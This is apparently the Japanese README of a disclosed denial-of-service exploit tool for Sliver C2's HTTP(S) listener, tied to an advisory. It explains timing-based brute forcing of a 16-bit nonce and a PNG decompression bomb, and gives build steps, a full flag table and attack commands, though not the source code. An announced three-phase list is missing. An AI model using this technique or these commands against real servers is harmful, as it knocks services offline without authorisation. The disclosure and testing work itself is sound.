
Sliver HTTP(S) C2 PNG爆弾 DoS エクスプロイト — GHSA-663m-7x7m-g4fw (CVE-2026-77622)
Sliver C2のHTTP(S)リスナーに対するサービス拒否(DoS)エクスプロイト。セッションごとのPNGエンコードnonceをブルートフォースし、サーバーのメモリを枯渇させる解凍爆弾(decompression bomb)を送信します。
GHSA-663m-7x7m-g4fwとして公開されています。
SliverのHTTP(S) C2チャネルは、メッセージをPNG画像内にラップします。各セッションには[1, 65537)の範囲のランダムなnonceが割り当てられ、サーバーは?n=クエリパラメータがセッションのnonceと一致するリクエストからのみPNGデータをデコードします。これは認証チェックではなくルーティングメカニズムであり、キースペースは16ビットです。
サーバーはGoのimage.Decode()でPNGをデコードし、メモリ上に幅 × 高さ × 1ピクセルあたりのバイト数を割り当てます。宣言された寸法が32767×32767のRGBA PNGファイルは、ワイヤー上では約3 KBに圧縮されますが、メモリ上では4 GB以上に解凍されます。サーバーはデコードされた寸法に制限を課しません。
このエクスプロイトは3つのフェーズで動作します:
GHSA-663m-7x7m-g4fwで参照されている修正前のSliver C2バージョン。HTTPまたはHTTPSリスナーを実行しているすべてのSliverサーバーが影響を受けます。
go build -o pngboomer
外部依存関係はありません。標準ライブラリのみを使用します。
./pngboomer -url http://target:8080/ [オプション]
| フラグ | デフォルト | 説明 |
|---|---|---|
-url | http://127.0.0.1:8080/ | Sliver HTTP C2ベースURL |
-workers | 8 | スキャンの並行数 |
-probe-w | 2000 | プローブPNGの幅 |
-probe-h | 2000 | プローブPNGの高さ |
-probe-color | 2 | プローブのカラータイプ(2=RGB、6=RGBA) |
-kill-w | 32767 | キルPNGの幅 |
-kill-h | 32767 | キルPNGの高さ |
-kill-color | 6 | キルのカラータイプ(2=RGB、6=RGBA) |
-threshold-ms | 50 | nonce検出の最小応答時間フロア |
-outlier-mult | 15.0 | 適応しきい値 = ベースラインp99 × この値 |
-calibrate | 16 | キャリブレーションサンプル数 |
-verify | 3 | 候補nonceあたりの再プローブ回数 |
-max-nonce | 65537 | nonce範囲の上限(Sliverの剰余) |
-probe-timeout | 5s | プローブごとのHTTPタイムアウト |
-kill-timeout | 180s | キルリクエストのHTTPタイムアウト |
-target-cap-mb | 10240 | 宣言されたターゲットメモリ上限(安全チェック) |
-nonce | 0 | スキャンをスキップし、このnonceを直接使用 |
-scan-only | false | nonceを発見して出力するだけで、キルは送信しない |
-no-confirm | false | キル後のターゲット死亡確認のためのTCPポーリングをスキップ |
-no-color | false | ANSIカラー出力を無効化 |
-silent | false | 発見したnonceのみをstdoutに出力 |
ローカルのDockerターゲットに対するデフォルトのスキャンとキル:
./pngboomer -url http://127.0.0.1:8080/ -target-cap-mb 10240
スキャンのみ(キルせずにnonceを発見):
./pngboomer -url https://c2.target.com/ -scan-only
nonceをすでに知っている場合にスキャンをスキップ:
./pngboomer -url http://target:8080/ -nonce 41337
キル爆弾はターゲット上で数GBのPNGデコードを引き起こします。テスト時は、Sliverサーバーを--memory=<N>gを指定したDockerコンテナ内で実行し、-target-cap-mb Nを渡して、ターゲットのメモリを超える危険なワーカー/プローブの組み合わせをツールが拒否するようにしてください。
プローブPNGは、デコードに間違ったnonceのサーバーの高速パス拒否よりも測定可能なほど長い時間がかかるほど十分に大きいです。スキャンはnonce範囲をシャッフルし、ワーカーゴルーチンに分散します。各ワーカーは候補nonceでプローブPNGを送信し、応答時間を測定します。
応答が適応しきい値(-threshold-msとbaseline_p99 × outlier-multの大きい方)を超えると、候補は-verify回再プローブされます。再プローブの過半数もしきい値を超えた場合、nonceが確定します。超えない場合、候補はブラックリストに登録され、スキャンが続行されます。スキャンが諦めるまでに、最大8つの誤検知「ブリップ」が許容されます。
GitHubのプライベートアドバイザリプロセスを通じてBishop Foxに報告されました。CalebKinganがパッチを作成しました。